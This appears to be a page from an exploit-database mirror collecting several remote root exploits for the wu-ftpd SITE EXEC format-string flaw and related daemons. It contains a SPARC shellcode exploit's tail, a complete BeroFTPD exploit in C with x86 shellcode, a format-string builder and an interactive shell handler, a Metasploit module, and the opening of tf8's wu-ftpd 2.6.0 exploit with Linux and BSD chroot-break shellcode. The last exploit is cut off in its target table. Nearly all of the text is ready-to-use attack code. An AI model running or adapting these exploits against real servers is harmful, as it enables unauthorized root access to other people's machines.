	"\x82\x10\x20\x50" // mov 0x50, %g1
	"\x91\xd0\x20\x08" // ta 8                   ! mkdir("k", 0755)
	"\x90\x23\xa0\x30" // sub %sp, 48, %o0
	"\x82\x10\x20\x3d" // mov 0x3d, %g1
	"\x91\xd0\x20\x08" // ta 8                   ! chroot("k")
	"\x90\x24\xe0\x01" // sub %l3, 1, %o0
	"\x82\x10\x20\x78" // mov 0x78, %g1
	"\x91\xd0\x20\x08" // ta 8                   ! fchdir(fd)
	"\x2f\x0b\x8b\x8b" // sethi %hi(0x2e2e2c00), %l7
	"\xae\x15\xe3\x2e" // or %l7, 0x32e, %l7
	"\xee\x23\xbf\xd0" // st %l7, [ %sp - 48 ]   ! ../.
	"\x2f\x0b\xcb\x8b" // sethi %hi(0x2f2e2c00), %l7
	"\xae\x15\xe2\x2f" // or %l7, 0x22f, %l7     
	"\xee\x23\xbf\xd4" // st %l7, [ %sp - 44 ]   ! /../
	"\xee\x23\xbf\xd8" // st %l7, [ %sp - 40 ]
	"\xee\x23\xbf\xdc" // st %l7, [ %sp - 36 ]
	"\xee\x23\xbf\xe0" // st %l7, [ %sp - 32 ]
	"\xee\x23\xbf\xe4" // st %l7, [ %sp - 28 ]
	"\xee\x23\xbf\xe8" // st %l7, [ %sp - 24 ]
	"\xee\x23\xbf\xec" // st %l7, [ %sp - 20 ]   ! .././..//..//../(ad lib)
	"\xc0\x23\xbf\xf0" // clr [ %sp - 16 ]
	"\x82\x10\x20\x0c" // mov 0xc, %g1
	"\x90\x23\xa0\x30" // sub %sp, 48, %o0
	"\x91\xd0\x20\x08" // ta 8                   ! chdir(".././../...")
	"\xae\x10\x20\x2e" // mov 0x2e, %l7
	"\xaf\x2d\xe0\x18" // sll %l7, 24, %l7
	"\xee\x23\xbf\xd0" // st %l7, [ %sp - 48 ]   ! stupido. anyway.
	"\x90\x23\xa0\x30" // sub %sp, 48, %o0
	"\x82\x10\x20\x3d" // mov 0x3d, %g1
	"\x91\xd0\x20\x08" // ta 8
	"\x2d\x0b\xd8\x9a" // sethi %hi(0x2f62696e), %l6  ! no more mine.
	"\xac\x15\xa1\x6e" // or %l6, %lo(0x2f62696e), %l6
	"\x2f\x0b\xdc\xda" // sethi %hi(0x2f736800), %l7
	"\x90\x0b\x80\x0e" // and %sp, %sp, %o0
	"\x92\x03\xa0\x08" // add %sp, 8, %o1
	"\x94\x1b\xc0\x0f" // xor %o7, %o7, %o2
	"\x9c\x03\xa0\x10" // add %sp, 16, %sp
	"\xec\x3b\xbf\xf0" // std %l6, [%sp-16]
	"\xd0\x23\xbf\xf8" // st %o0, [%sp-8]
	"\xc0\x23\xbf\xfc" // st %g0, [%sp-4]
	"\x82\x10\x20\x3b" // mov 59, %g1
	"\x91\xd0\x20\x08" // ta 8
	"\x91\xd0\x20\x08"; // ta 8          



  offset = 0;
  where = 0xffbeeed4;
  distance = 0x1004;
  gout = 4;
  eat = 15;
  site_pad = 2;
  pass_pad = 3;

  while ( ( c = getopt(argc, argv, "w:o:d:e:g:s:p:") ) != EOF ) {
    switch(c) {
	    case 'w':
	      where = strtoul(optarg, NULL, 16);
	      break;
	    case 'o':
	      offset = atoi(optarg);
	      break;
	    case 'd':
	      distance = strtoul(optarg, NULL, 16);
	      break;
	    case 'e':
	      eat = atoi(optarg);
	      break;
	    case 'g':
	      gout = atoi(optarg);
	      break;
	    case 's':
	      site_pad = atoi(optarg) % 4;
	      break;
	    case 'p':
	      pass_pad = atoi(optarg) % 4;
	      break;
	    default:
	      usage(argv[0]);
    }
  }

  where += offset;

  fprintf(stderr, "ret  [%x]:%x\n"
	  	  "ppad %d\n"
		  "spad %d\n"
		  "gout %d\n"
		  "eat  %d\n",
		  where, where + distance,
		  pass_pad, site_pad, gout, eat);

  printf("user ftp\n");

  buf = ftp_escape(break_sparc);
  printf("pass %.*s%s\n", pass_pad, "xxxx", buf);
  
  buf = build_format_string(where, where + distance - 8, gout, eat, site_pad);
  buf = ftp_escape(buf);

  printf ("site exec %s\n", buf);
}


// milw0rm.com [2001-01-03]
		

- 漏洞信息 (269)

BeroFTPD 1.3.4(1) Linux x86 Remote Root Exploit (EDBID:269)
linux remote
2001-05-08 Verified
21 qitest1
N/A [点击下载]
/*  
 *  BeroFTPD 1.3.4(1) Linux x86 remote root exploit 
 *  by qitest1 - 5/05/2001
 *
 *  BeroFTPD is an ftpd derived from wuftpd sources. This code
 *  exploits the format bug of the site exec cmd, well known to be
 *  present in wuftpd-2.6.0 and derived daemons. BeroFTPD 1.3.4(1) 
 *  is the current version at the moment.    
 *  
 *  JUST SAMPLE CODE. For different platforms you have to try with
 *  different offsets for different retaddrs. You see.. =)   
 *
 *  Greets: Nail, Norby, Berserker.
 *  69 rulez.. ;P
 */

#include <stdio.h> 
#include <stdlib.h> 
#include <getopt.h>
#include <errno.h> 
#include <netdb.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>

struct targ
{
   int			def;
   char 		*descr;
   unsigned long int 	enbuf;
   int			dawlen;
};

struct targ target[]=
    {			
      {0, "RedHat 6.2 with BeroFTPD 1.3.4(1) from tar.gz", 0xded, 6},
      {1, "Slackware 7.0 with BeroFTPD 1.3.4(1) from tar.gz", 0x1170, 12}, 
      {2, "Mandrake 7.1 with BeroFTPD 1.3.4(1) from rpm", 0xdf1, 6}, 
      {69, NULL, 0, 0}
    };

  /* 15 byte x86/linux PIC read() shellcode by lorian / teso
   */
unsigned char shellcode_read[] =
        "\x33\xdb"              /* xorl %ebx, %ebx      */
        "\xf7\xe3"              /* mull %ebx            */
        "\xb0\x03"              /* movb $3, %al         */
        "\x8b\xcc"              /* movl %esp, %ecx      */
        "\x68\xb2\x00\xcd\x80"  /* push 0x80CDxxB2      */
        "\xff\xff\xe4";         /* jmp  %esp            */

unsigned char shellcode[] =	/* Lam3rZ code */
        "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0"
        "\x31\xdb\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b"
        "\x5e\x31\xc0\x31\xc9\x8d\x5e\x01\x88\x46\x04\x66"
        "\xb9\xff\x01\xb0\x27\xcd\x80\x31\xc0\x8d\x5e\x01"
        "\xb0\x3d\xcd\x80\x31\xc0\x31\xdb\x8d\x5e\x08\x89"
        "\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e\x08\xb0"
        "\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09"
        "\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe"
        "\xc8\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08"
        "\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0"
        "\x0b\xcd\x80\x31\xc0\x31\xdb\xb0\x01\xcd\x80\xe8"
        "\x90\xff\xff\xff\x30\x62\x69\x6e\x30\x73\x68\x31"
        "\x2e\x2e\x31\x31";

char 		  	fmtstr[1024];
int			sock;
int			sel;
int			offset;
unsigned long int       retloc;
unsigned long int 	bufaddr;
unsigned long int	tmpaddr;
	
void 		fmtstr_build(unsigned long int bufaddr, unsigned long int retloc);
void 		xpad_cat (unsigned char *fabuf, unsigned long int addr);
void 		retloc_find(void);
void 		shellami(int sock);
void		login(void);
void		usage(char *progname);
int 		conn2host(char *host, int port);

main(int argc, char *argv[])
{
char		rbuf[1024];
char		*host = NULL;
int 		cnt;

  printf("\n  BeroFTPD 1.3.4(1) exploit by qitest1\n\n");
  if(argc == 1)
	usage(argv[0]);
  while((cnt = getopt(argc,argv,"h:t:o:")) != EOF)
    {
   switch(cnt)
        {
   case 'h':
      host = strdup(optarg);
      break;
   case 't':
     sel = atoi(optarg);       
     break;
   case 'o':
     offset = atoi(optarg);
     break;
   default:
     usage(argv[0]);
     break;
        }
    }

  if(host == NULL)
	usage(argv[0]);

  printf("+Host: %s\n  as: %s\n", host, target[sel].descr);

  printf("+Connecting to %s...\n", host);
  sock = conn2host(host, 21);
  printf("  connected\n");

  printf("+Receiving banner...\n");
  recv(sock, rbuf, 1024, 0);
  printf("%s", rbuf);
  memset(rbuf, 0, 1024);
  printf("  received\n");

  printf("+Logging in...\n");
  login();
  printf("  logged in\n");

  printf("+Searching retloc...\n");
  retloc_find();
  printf("  found: %p\n", retloc);

  printf("+Searching bufaddr...\n");
  bufaddr = tmpaddr + target[sel].enbuf;
  printf("  found: %p + offset = ", bufaddr);
  bufaddr += offset;
  printf("%p\n", bufaddr);  

  printf("+Preparing shellcode...\n");
  shellcode_read[strlen(shellcode_read)] = (unsigned char) strlen(shellcode);
  printf("  shellcode ready\n");

  printf("+Building fmtstr...\n");
  fmtstr_build(bufaddr, retloc);
  printf("  fmtstr builded\n");  
  
  printf("+Sending fmtstr...\n");
  send(sock, fmtstr, strlen(fmtstr), 0);
  printf("  fmtstr sent\n");
  recv(sock, rbuf, 1024, 0);
  sleep(1);
  send(sock, shellcode, strlen(shellcode), 0);
  sleep(2);
  printf("+Entering love mode...\n");  /* Nail teachs.. ;-) */
  shellami(sock);  

}

void
fmtstr_build(unsigned long int bufaddr, unsigned long int retloc)
{
int               i;
int		  eat = 136;
int               wlen = 428;
int               tow;
int               freespz;
char		  f[1024];
unsigned long int soul69 = 0x69696969;  /* That's amore.. =) */
unsigned char     retaddr[4];

  for(i = 0; i < 4; ++i)
	retaddr[i] = (bufaddr >> (i << 3)) & 0xff;

  wlen -= target[sel].dawlen;
  f[0] = 0;
  for(i = 0; i < eat; i++)
        strcat(f, "%.f");

  strcat(fmtstr, "SITE EXEC ");
  strcat(fmtstr, "  ");
  xpad_cat(fmtstr, retloc);
  xpad_cat(fmtstr, soul69);
  xpad_cat(fmtstr, retloc + 1);
  xpad_cat(fmtstr, soul69);
  xpad_cat(fmtstr, retloc + 2);
  xpad_cat(fmtstr, soul69);
  xpad_cat(fmtstr, retloc + 3);
  strcat(fmtstr, f);
  strcat(fmtstr, "%x");

  /* Code by teso
   */
  tow = ((retaddr[0] + 0x100) - (wlen % 0x100)) % 0x100;
  if (tow < 10) tow += 0x100;     
  sprintf (fmtstr + strlen (fmtstr), "%%%dd%%n", tow);
  wlen += tow;

  tow = ((retaddr[1] + 0x100) - (wlen % 0x100)) % 0x100;
  if (tow < 10) tow += 0x100;
  sprintf (fmtstr + strlen (fmtstr), "%%%dd%%n", tow);
  wlen += tow;

  tow = ((retaddr[2] + 0x100) - (wlen % 0x100)) % 0x100;
  if (tow < 10) tow += 0x100;
  sprintf (fmtstr + strlen (fmtstr), "%%%dd%%n", tow);
  wlen += tow;

  tow = ((retaddr[3] + 0x100) - (wlen % 0x100)) % 0x100;
  if (tow < 10) tow += 0x100;
  sprintf (fmtstr + strlen (fmtstr), "%%%dd%%n", tow);
  wlen += tow;
  /* End here
   */

  freespz = 510 - strlen(fmtstr) - strlen(shellcode_read) - 1;
  for(i = 0; i < freespz ; i++)
	strcat(fmtstr, "\x90");
  strcat(fmtstr, shellcode_read);

  strcat(fmtstr, "\n");

}

  /* Code by teso
   */
void xpad_cat (unsigned char *fabuf, unsigned long int addr)
{
        int             i;
        unsigned char   c;

        for (i = 0 ; i <= 3 ; ++i) {
                switch (i) {
                case (0):
                        c = (unsigned char) ((addr & 0x000000ff)      );
                        break;
                case (1):
                        c = (unsigned char) ((addr & 0x0000ff00) >>  8);
                        break;
                case (2):
                        c = (unsigned char) ((addr & 0x00ff0000) >> 16);
                        break;
                case (3):
                        c = (unsigned char) ((addr & 0xff000000) >> 24);
                        break;
                }
                if (c == 0xff)
                        sprintf (fabuf + strlen (fabuf), "%c", c);

                sprintf (fabuf + strlen (fabuf), "%c", c);
        }

        return;
}
  /* End here
   */

void
retloc_find(void)
{
int		i;
char		rbuf[1024];
char		sbuf[1024];
char		*ptr;

  strcpy(sbuf, "SITE EXEC ");
  for(i = 0; i < 6; i++)
	strcat(sbuf, "%p ");
  strcat(sbuf, "\n");
  send(sock, sbuf, strlen(sbuf), 0); 

  recv(sock, rbuf, 1024, 0);
  ptr = rbuf;
  for(i = 0; i < 5; i++)
	{
	  while(*ptr != ' ')
	  	ptr++;
	  ptr++;
	}
  ptr[strlen(ptr) - 2] = '\x00';	
  ptr[strlen(ptr) - 1] = '\x00';
  sscanf(ptr, "%p", &retloc);
  sscanf(ptr, "%p", &tmpaddr);
  retloc -= 0x40;

}

void
shellami(int sock)
{
int 		n;
char 		recvbuf[1024];
char		*cmd = "id; uname -a\n";
fd_set 		rset;

  send(sock, cmd, strlen(cmd), 0);

  while (1)
    {
      FD_ZERO(&rset);
      FD_SET(sock,&rset);
      FD_SET(STDIN_FILENO,&rset);
      select(sock+1,&rset,NULL,NULL,NULL);
      if (FD_ISSET(sock,&rset))
        {
          n=read(sock,recvbuf,1024);
          if (n <= 0)
            {
              printf("Connection closed by foreign host.\n");
              exit(0);
            }
          recvbuf[n]=0;
          printf("%s",recvbuf);
        }
      if (FD_ISSET(STDIN_FILENO,&rset))
        {
          n=read(STDIN_FILENO,recvbuf,1024);
          if (n>0)
            {
              recvbuf[n]=0;
              write(sock,recvbuf,n);
            }
        }
    }
  return;
}

int
conn2host(char *host, int port)
{
int 		sockfd;  
struct 		hostent *he;
struct 		sockaddr_in their_addr; 

  if ((he=gethostbyname(host)) == NULL)
	{ 
          herror("gethostbyname");
          exit(1);
	}
  if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
	{
          perror("socket");
          exit(1);
	}

  their_addr.sin_family = AF_INET;     
  their_addr.sin_port = htons(port);   
  their_addr.sin_addr = *((struct in_addr *)he->h_addr);
  bzero(&(their_addr.sin_zero), 8);     

  if(connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1)
	{
          perror("connect");
          exit(1);
	}
 
  return(sockfd);

}

void
login(void)
{
char		*user = "USER anonymous\n";
char		*pass = "PASS guest@\n";
char		rbuf[1024];

  send(sock, user, strlen(user), 0);
  recv(sock, rbuf, 1024, 0);
  memset(rbuf, 0, 1024);
  send(sock, pass, strlen(pass), 0);
  while(strstr(rbuf, "login ok") == NULL)
	{
	  memset(rbuf, 0, 1024);
	  recv(sock, rbuf, 1024, 0);
	}

}

void
usage(char *progname)
{
int		i = 0;
  
  printf("Usage: %s [options]\n", progname);
  printf("Options:\n"
	 "  -h hostname\n"
	 "  -t target\n"
	 "  -o offset\n"
	 "Available targets:\n");
  while(target[i].def != 69)
	{ 
          printf("  %d) %s\n", target[i].def, target[i].descr);
          i++;
	} 

  exit(1);

}


// milw0rm.com [2001-05-08]
		

- 漏洞信息 (16311)

wu-ftpd SITE EXEC/INDEX Format String Vulnerability (EDBID:16311)
linux remote
2010-11-30 Verified
0 metasploit
N/A [点击下载]
##
# $Id: wuftpd_site_exec_format.rb 11166 2010-11-30 00:16:53Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Ftp
	include Msf::Exploit::FormatString

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'wu-ftpd SITE EXEC/INDEX Format String Vulnerability',
			'Description'    => %q{
					This module exploits a format string vulnerability in versions of the
				Washington University FTP server older than 2.6.1. By executing
				specially crafted SITE EXEC or SITE INDEX commands containing format
				specifiers, an attacker can corrupt memory and execute arbitrary code.
			},
			'Author'         => [ 'jduck' ],
			'Version'        => '$Revision: 11166 $',
			'References'     =>
				[
					['CVE', '2000-0573'],
					['OSVDB', '11805'],
					['BID', '1387']
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'PrependChrootBreak' => true
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					# format string max length
					'Space'    => 256,
					# NOTE: \xff's need to be doubled (per ftp/telnet stuff)
					'BadChars' => "\x00\x09\x0a\x0d\x20\x25\x2f",
					'DisableNops'	=>  'True',
					'StackAdjustment' 	=> -1500
				},
			'Platform'       => [ 'linux' ],
			'Targets'        =>
			[
				#
				# Automatic targeting via fingerprinting
				#
				[ 'Automatic Targeting', { 'auto' => true }  ],

				#
				# specific targets
				#
				[	'Slackware 2.1 (Version wu-2.4(1) Sun Jul 31 21:15:56 CDT 1994)',
					{
						'UseDPA' 	=> false,
						'PadBytes'	=> 3,
						'NumPops' 	=> 8,
						'AddrPops'  => 100,
						'Offset'    => -2088, 			# offset to stack return
						'Writable' 	=> 0xbfffde26, 	# stack, avoid badchars
						'FlowHook'	=> -1, # auto now... 0xbffff1e4		# stack return addr
					}
				],
				# these aren't exploitable (using built-in, stripped down vsprintf, no %n)
				#[	'RedHat 5.2 (Version wu-2.4.2-academ[BETA-18](1) Mon Aug 3 19:17:20 EDT 1998)',
				#[	'RedHat 6.0 (Version wu-2.4.2-VR17(1) Mon Apr 19 09:21:53 EDT 1999)',
				#[	'RedHat 6.1 (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999)',
				[	'RedHat 6.2 (Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000)',
					{
						'UseDPA' 	=> true,
						'PadBytes'	=> 2,
						'NumPops' 	=> 276,
						'AddrPops'  => 2,
						'Offset'    => -17664, 			# offset to stack return
						'Writable' 	=> 0x806e726,		# bss
						#'Writable' 	=> 0xbfff0126,		# stack, avoid badchars
						'FlowHook'	=> -1, # auto now... 0xbfffb028		# stack return addr
						#'FlowHook'  => 0x806e1e0		# GOT of sprintf
					}
				],

				#
				# this one will detect the parameters automagicly
				#
				[	'Debug',
					{
						'UseDPA' 	=> false,
						'PadBytes'	=> 0,
						'NumPops' 	=> 0,
						'AddrPops'  => -1,
						'Offset'    => -1,
						'Writable' 	=> 0x41414242, 	#
						'FlowHook'	=> 0x43434545		#
					}
				],
			],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jun 22 2000'))
		register_options(
			[
				Opt::RPORT(21),
			], self.class )
	end


	def check
		# NOTE: We don't care if the login failed here...
		ret = connect_login

		# We just want the banner to check against our targets..
		print_status("FTP Banner: #{banner.strip}")
		status = Exploit::CheckCode::Safe
		if banner =~ /Version wu-2\.(4|5)/
			status = Exploit::CheckCode::Appears
		elsif banner =~ /Version wu-2\.6\.0/
			status = Exploit::CheckCode::Appears
		end

		# If we've made it this far, we care if login succeeded.
		if (ret)
			# NOTE: vulnerable and exploitable might not mean the same thing here :)
			if not fmtstr_detect_vulnerable
				status = Exploit::CheckCode::Safe
			end
			if not fmtstr_detect_exploitable
				status = Exploit::CheckCode::Safe
			end
		end

		disconnect
		return status
	end


	def exploit

		if (not connect_login)
			raise RuntimeError, 'Unable to authenticate'
		end

		# Use a copy of the target
		mytarget = target

		if (target['auto'])
			mytarget = nil

			print_status("Automatically detecting the target...")
			if (banner and (m = banner.match(/\(Version wu-(.*)\) ready/))) then
				print_status("FTP Banner: #{banner.strip}")
				version = m[1]
			else
				raise RuntimeError, "No matching target"
			end

			regexp = Regexp.escape(version)
			self.targets.each do |t|
				if (t.name =~ /#{regexp}/) then
					mytarget = t
					break
				end
			end

			if (not mytarget)
				raise RuntimeError, "No matching target"
			end

			print_status("Selected Target: #{mytarget.name}")
		else
			print_status("Trying target #{mytarget.name}...")
			if banner
				print_status("FTP Banner: #{banner.strip}")
			end
		end

		# proceed with chosen target...

		# detect stuff!
		if mytarget.name == "Debug"
			#fmtstr_set_caps(true, true)
			# dump the stack, so we can detect stuff magically
			print_status("Dumping the stack...")
			stack = Array.new
			extra = "aaaabbbb"
			1000.times do |x|
				dw = fmtstr_stack_read(x+1, extra)
				break if not dw
				stack << dw
			end

			stack_data = stack.pack('V*')
			print_status("Obtained #{stack.length*4} bytes of stack data:\n" + Rex::Text.to_hex_dump(stack_data))

			# detect the number of pad bytes
			idx = stack_data.index("aaaabbbb")
			if not idx
				raise RuntimeError, "Whoa, didn't find the static bytes on the stack!"
			end
			num_pad = 0
			num_pad = 4 - (idx % 4) if (idx % 4) > 0
			mytarget.opts['PadBytes'] = num_pad

			# calculate the number of pops needed to hit our addr
			num_pops = (idx + num_pad) / 4
			mytarget.opts['NumPops'] = num_pops
		else
			num_pad = mytarget['PadBytes']
			num_pops = mytarget['NumPops']
			sc_loc = mytarget['Writable']
			ret = mytarget['FlowHook']
		end

		print_status("Number of pad bytes: #{num_pad}")
		print_status("Number of pops: #{num_pops}")

		# debugging -> don't try it!
		return if mytarget.name == "Debug"

		#print_status("ATTACH!")
		#select(nil,nil,nil,5)

		fmtstr_detect_caps

		# compute the stack return address using the fmt to leak memory
		addr_pops = mytarget['AddrPops']
		offset = mytarget['Offset']
		if addr_pops > 0
			stackaddr = fmtstr_stack_read(addr_pops)
			print_status("Read %#x from offset %d" % [stackaddr, addr_pops])
			ret = stackaddr + offset
		end

		print_status("Writing shellcode to: %#x" % sc_loc)
		print_status("Hijacking control via %#x" % ret)


		# no extra bytes before the padding..
		num_start = 0

		# write shellcode to 'writable'
		arr = fmtstr_gen_array_from_buf(sc_loc, payload.encoded, mytarget)

		# process it in groups of 24 (max ~400 bytes per command)
		sc_num = 1
		while arr.length > 0
			print_status("Sending part #{sc_num} of the payload...")
			sc_num += 1

			narr = arr.slice!(0..24)

			fmtbuf = fmtstr_gen_from_array(num_start, narr, mytarget)
			# a space allows the next part to start with a '/'
			fmtbuf[num_pad-1,1] = " "
			fmtbuf.gsub!(/\xff/, "\xff\xff")
			if ((res = send_cmd(['SITE', 'EXEC', fmtbuf], true)))
				if res[0,4] == "500 "
					raise RuntimeError, "Crap! Something went wrong when uploading the payload..."
				end
			end
		end


		# write 'writable' addr to flowhook (execute shellcode)
		# NOTE: the resulting two writes must be done at the same time
		print_status("Attempting to write %#x to %#x.." % [sc_loc, ret])

		fmtbuf = generate_fmt_two_shorts(num_start, ret, sc_loc, mytarget)
		# a space allows the next part to start with a '/'
		fmtbuf[num_pad-1,1] = " "
		fmtbuf.gsub!(/\xff/, "\xff\xff")
		# don't wait for the response here :)
		res = send_cmd(['SITE', 'EXEC', fmtbuf], false)

		print_status("Your payload should have executed now...")
		handler
	end


	#
	# these two functions are used to read stack memory
	# (used by fmtstr_stack_read()
	#
	def trigger_fmt(fmtstr)
		return nil if fmtstr.length >= (512 - (4+1 + 4+1 + 2 + 2))
		send_cmd(['SITE', 'EXEC', 'x', fmtstr], true)
	end

	def extract_fmt_output(res)
		if (res =~ /^5.. /)
			#throw "Crap! Something went wrong while dumping the stack..."
			return nil
		end
		ret = res.strip.split(/\r?\n/)[0]
		ret = ret[6,ret.length]
		return ret
	end


end
		

- 漏洞信息 (20030)

wu-ftpd 2.4.2/2.5 .0/2.6 .0 Remote Format String Stack Overwrite (1) (EDBID:20030)
unix remote
1999-10-15 Verified
0 tf8
N/A [点击下载]
source: http://www.securityfocus.com/bid/1387/info

Washington University ftp daemon (wu-ftpd) is a very popular unix ftp server shipped with many distributions of Linux and other UNIX operating systems. Wu-ftpd is vulnerable to a very serious remote attack in the SITE EXEC implementation. Because of user input going directly into a format string for a *printf function, it is possible to overwrite important data, such as a return address, on the stack. When this is accomplished, the function can jump into shellcode pointed to by the overwritten eip and execute arbitrary commands as root. While exploited in a manner similar to a buffer overflow, it is actually an input validation problem. Anonymous ftp is exploitable making it even more serious as attacks can come anonymously from anywhere on the internet.

It should be noted that the SITE INDEX command is affected as well. 

/*
 * VERY PRIVATE VERSION. DO NOT DISTRIBUTE. 15-10-1999
 *
 *  WUFTPD 2.6.0 REMOTE ROOT EXPLOIT
 *   by tf8
 *
 * *NOTE*:  For ethical reasons, only an exploit for 2.6.0 will be
 *     released (2.6.0 is the most popular version nowadays), and it
 *     should suffice to proof this vulnerability concept.
 *
 *   Site exec was never really *fixed*
 *
 *   Greetz to portal (he is elite!#%$) and all #!security.is, glitch, DiGit,
 *    \x90, venglin, xz, MYT and lamagra.
 *   Also greetings go to the WU-FTPD development team for including this
 *    bug in ALL their versions.
 *
 *   Fuck to wuuru (he is an idiot)
 *
 *   Account is not required, anonymous access is enough :)
 *
 * VERY PRIVATE VERSION. DO NOT DISTRIBUTE. 15-10-1999
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netdb.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#include <errno.h>

#ifdef __linux
#include <getopt.h>
#endif

#define MAKE_STR_FROM_RET(x) ((x)&0xff),(((x)&0xff00)>>8),(((x)&0xff0000)>>16),(((x)&0xff000000)>>24)
#define GREEN "\033[32m"
#define RED "\033[31m"
#define NORM "\033[0m"

char infin_loop[]= /* for testing purposes */
 "\xEB\xFE";

char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */
 "\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43"
 "\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0"
 "\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\xff\x01\x53\x53\xb0"
 "\x88\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80"
 "\x31\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9"
 "\x31\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80\xfe\xc9\x75"
 "\xf1\x31\xc0\x88\x46\x09\x8d\x5e\x08\x53\x53\xb0\x3d\xcd"
 "\x80\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46"
 "\x07\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56"
 "\x0c\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53"
 "\x53\xb0\x01\xcd\x80\xe8\x84\xff\xff\xff\xff\xff\xff\x30"
 "\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e"
 "\x67\x6c\x69\x6e";

char bsd_code_d[]= /* you should call it directly (no jump/call)*/
 "\xEB\xFE\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x5C"
 "\x8B\x74\x24\xFC\x31\xC9\xB1\x15\x01\xCE\xB1\x71\xB0\xEF"
 "\x30\x06\x8D\x76\x01\xE2\xF9\xDE\x26\xDE\x2F\xBE\x5F\xF8"
 "\xBF\x22\x6F\x5F\xB5\xEB\xB4\xBE\xBF\x22\x6F\x62\xB9\x14"
 "\x87\x75\xED\xEF\xEF\xBD\x5F\x67\xBF\x22\x6F\x62\xB9\x11"
 "\xBE\xBD\x5F\xEA\xBF\x22\x6F\x66\x2C\x62\xB9\x14\xBD\x5F"
 "\xD2\xBF\x22\x6F\xBC\x5F\xE2\xBF\x22\x6F\x5C\x11\x62\xB9"
 "\x12\x5F\xE3\xBD\xBF\x22\x6F\x11\x24\x9A\x1C\x62\xB9\x11"
 "\xBD\x5F\xD2\xBF\x22\x6F\x62\x99\x12\x66\xA1\xEB\x62\xB9"
 "\x17\x66\xF9\xB9\xB9\xBD\x5F\xD4\xBF\x22\x6F\xC0\x8D\x86"
 "\x81\xC0\x9C\x87\xEF\xC1\xC1\xEF";

char linuxcode[]= /* Lam3rZ chroot() code */
 "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
 "\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
 "\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27"
 "\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31"
 "\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d"
 "\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46"
 "\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8"
 "\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c"
 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"
 "\x31\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff"
 "\x30\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31";

#define MAX_FAILED      4
#define MAX_MAGIC       100
static int magic[MAX_MAGIC],magic_d[MAX_MAGIC];
static char *magic_str=NULL;
int before_len=0;
char *target=NULL,*username="ftp",*password=NULL;
struct targets getit;

struct targets {
        int def;
        char *os_descr, *shellcode;
        int delay;
        u_long pass_addr, addr_ret_addr;
        int magic[MAX_MAGIC], magic_d[MAX_MAGIC],islinux;
};

struct targets targ[]={
        {1,"RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8075b00-700,0xbfffb028,{0x87,3,1,2},{1,2,1,4},1},
        {0,"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8075b00-700,0xbfffb038,{0x87,3,1,2},{1,2,1,4},1},
        {0,"SuSe 6.3 with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8076cb0-400,0xbfffb018,{0x87,3,1,2},{1,2,1,4},1},
        {0,"SuSe 6.4 with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8076920-400,0xbfffafec,{0x88,3,1,2},{1,2,1,4},1},
        {0,"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm (test)",linuxcode,2,0x8075b00-700,0xbfffb070,{0x87,3,1,2},{1,2,1,4},1},
